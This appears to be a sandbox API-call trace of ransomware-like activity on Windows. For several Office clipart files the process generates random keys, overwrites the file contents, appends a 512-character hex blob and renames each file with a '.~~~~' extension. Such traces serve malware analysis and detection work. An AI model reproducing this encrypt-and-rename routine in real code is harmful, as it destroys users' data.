	[0106.064] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.065] GetLastError () returned 0x0
	[0106.065] GetLastError () returned 0x0
	[0106.068] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff7d6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.068] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x82a, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x82a, lpOverlapped=0x0) returned 1
	[0106.070] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0106.070] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.070] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.070] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.070] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.070] CloseHandle (hObject=0x128) returned 1
	[0106.070] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.070] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241077.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241077.wmf.~~~~")) returned 1
	[0106.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.071] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.071] GetLastError () returned 0x0
	[0106.073] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.074] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.074] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.074] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22606417493) returned 1
	[0106.074] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8e768d0, dwHighDateTime=0x1d60e1e)) 
	[0106.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d520
	[0106.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.074] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d520 | out: hHeap=0x300000) returned 1
	[0106.074] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.075] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872988
	[0106.075] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.075] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.075] GetLastError () returned 0x0
	[0106.075] GetLastError () returned 0x0
	[0106.075] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.075] GetLastError () returned 0x0
	[0106.075] GetLastError () returned 0x0
	[0106.078] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff342, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.078] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0xcbe, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0xcbe, lpOverlapped=0x0) returned 1
	[0106.079] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0106.079] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.079] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.079] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.079] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.079] CloseHandle (hObject=0x128) returned 1
	[0106.079] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.080] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241773.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241773.wmf.~~~~")) returned 1
	[0106.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.081] GetLastError () returned 0x0
	[0106.081] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.082] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.082] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.082] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22607243683) returned 1
	[0106.082] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8e768d0, dwHighDateTime=0x1d60e1e)) 
	[0106.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.082] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d558
	[0106.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d558 | out: hHeap=0x300000) returned 1
	[0106.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.083] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872a20
	[0106.083] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.083] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.083] GetLastError () returned 0x0
	[0106.083] GetLastError () returned 0x0
	[0106.084] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.084] GetLastError () returned 0x0
	[0106.084] GetLastError () returned 0x0
	[0106.086] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffff84e, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.086] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x7b2, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x7b2, lpOverlapped=0x0) returned 1
	[0106.087] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0106.087] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.087] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.088] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.088] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.088] CloseHandle (hObject=0x128) returned 1
	[0106.088] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.088] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0241781.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0241781.wmf.~~~~")) returned 1
	[0106.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.089] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.089] GetLastError () returned 0x0
	[0106.090] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.091] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.091] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.091] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.091] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.091] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22608156243) returned 1
	[0106.092] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa8e9ca30, dwHighDateTime=0x1d60e1e)) 
	[0106.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d590
	[0106.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d590 | out: hHeap=0x300000) returned 1
	[0106.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.092] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872ab8
	[0106.092] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.092] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.092] GetLastError () returned 0x0
	[0106.093] GetLastError () returned 0x0
	[0106.093] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.093] GetLastError () returned 0x0
	[0106.093] GetLastError () returned 0x0
	[0106.281] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xffff86c8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.281] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x7938, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x7938, lpOverlapped=0x0) returned 1
	[0106.282] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0106.282] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.282] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.283] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.283] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.283] CloseHandle (hObject=0x128) returned 1
	[0106.283] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.283] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0250504.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0250504.wmf.~~~~")) returned 1
	[0106.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.284] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.284] GetLastError () returned 0x0
	[0106.284] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.286] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.286] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.286] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22627598795) returned 1
	[0106.286] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9065ab0, dwHighDateTime=0x1d60e1e)) 
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d718
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d718 | out: hHeap=0x300000) returned 1
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.286] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.286] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872b50
	[0106.287] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.287] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x1f8fb18) 
	[0106.287] GetLastError () returned 0x0
	[0106.287] GetLastError () returned 0x0
	[0106.287] RtlUnwind (TargetFrame=0x1f8fc20, TargetIp=0x423f9b, ExceptionRecord=0x1f8f5dc, ReturnValue=0x0) 
	[0106.287] GetLastError () returned 0x0
	[0106.287] GetLastError () returned 0x0
	[0106.324] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0xfffee212, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.324] WriteFile (in: hFile=0x128, lpBuffer=0x28f9050*, nNumberOfBytesToWrite=0x11dee, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x28f9050*, lpNumberOfBytesWritten=0x1f8fec0*=0x11dee, lpOverlapped=0x0) returned 1
	[0106.325] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28f9050 | out: hHeap=0x300000) returned 1
	[0106.325] SetFilePointerEx (in: hFile=0x128, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.325] WriteFile (in: hFile=0x128, lpBuffer=0x368b90*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x368b90*, lpNumberOfBytesWritten=0x1f8fec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.325] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.325] WriteFile (in: hFile=0x128, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x1f8fec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x1f8fec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.325] CloseHandle (hObject=0x128) returned 1
	[0106.325] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.325] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0280468.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0280468.wmf.~~~~")) returned 1
	[0106.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.364] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357128 | out: hHeap=0x300000) returned 1
	[0106.365] GetLastError () returned 0x0
	[0106.365] CryptAcquireContextA (in: phProv=0x1f8fcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x1f8fcdc*=0x3a0048) returned 1
	[0106.366] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0106.366] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.366] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0106.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b90
	[0106.366] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0106.366] QueryPerformanceCounter (in: lpPerformanceCount=0x1f8fc48 | out: lpPerformanceCount=0x1f8fc48*=22635654078) returned 1
	[0106.366] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x1f8fc88 | out: lpSystemTimeAsFileTime=0x1f8fc88*(dwLowDateTime=0xa9124190, dwHighDateTime=0x1d60e1e)) 
	[0106.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362400
	[0106.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0106.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357128
	[0106.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286d8a0
	[0106.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286d8a0 | out: hHeap=0x300000) returned 1
	[0106.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2897d90
	[0106.367] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.367] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2872f78
